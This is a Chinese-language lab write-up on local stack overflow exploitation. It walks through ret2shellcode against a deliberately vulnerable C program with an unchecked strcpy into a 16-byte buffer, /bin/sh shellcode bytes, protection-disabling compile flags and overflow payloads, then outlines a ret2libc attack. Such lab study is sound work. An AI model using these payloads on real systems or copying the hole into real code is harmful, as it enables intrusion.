一、ret2_var_shellcose(返回到栈上的shellcode)
代码:ret2lib.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int checkPass(const char* strPass)
{
        int flag = 0;
        char passwd_buff[16];
        //int flag = 0;   //mean false;

        strcpy(passwd_buff, strPass);

        if( strcmp(passwd_buff, "sysadmin123") == 0 )
        {
                flag = 1;
        }

        return flag;
}

int main(int argc, char* argv[])
{
        char shellcode[] = {"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"};
        printf("Shellcode address = %0p\n", shellcode);

        if( argc < 2 ){
                printf("Usage: %s  <password> \n", argv[0]);
                return 1;
        }
        int isUserOK = checkPass(argv[1]);

        if( isUserOK ){
                printf("Access granted.\n");
        }else{
                printf("Access denied.\n");
        }


        return 0;
}

编译:

gcc -g -m32 -z norelro -fno-stack-protector -z execstack -no-pie ret2lib.c

checksec检查可执行文件

屏幕截图 2022-06-29 164454.png

objdump -d a.out 查看汇编代码

屏幕截图 2022-06-29 165152.png

试运行 a.out

屏幕截图 2022-06-29 165333.png

构造payload
0123456789012345678901print "\xe2\xd4\xff\xff"

屏幕截图 2022-06-29 165459.png

第一次没成功,因为shellcode是main()里的一个局部变量,每次都是动态的入栈,因为上面我们为了得到shellcode地址是直接运行的 ./a.out 主函数没带任何参数,则栈中没主函数的参数,后面我们为了将payload 作为主函数的参数,导致栈中有主函数的参数,从而使,后面的shellcode在栈中的位置发生改变。所有我们可以直接用这次运行出来的shellcode地址来重新构成payload.

01234567890123456789012345678901`print "\xc2\xd4\xff\xff"`

屏幕截图 2022-06-29 170716.png

成功拿到shell

二、libc泄漏利用

因为是在本地实验,没有libc泄露环节,按正常环境,目标都是在互联网上,就需要先利用已经被调用国的libc函数地址来泄露目标机器上的libc版本,然后根据版本来来确定利用函数的相对地址,在根据泄露的libc函数绝对地址来计算利用函数的绝对地址,从而实现目标libc函数的利用。

gdb 来找可利用代码

屏幕截图 2022-06-29 175225.png

上面找到了 system() 函数地址,字符串 “/bin/sh”地址、exit()地址这不是必须的,只是为了利用完后完美退出。

objdump 查看汇编代码 确定payload 长度

屏幕截图 2022-06-29 181301.png

利用pwntool 编写脚本

屏幕截图 2022-06-29 180919.png

屏幕截图 2022-06-29 181425.png

成功拿到shell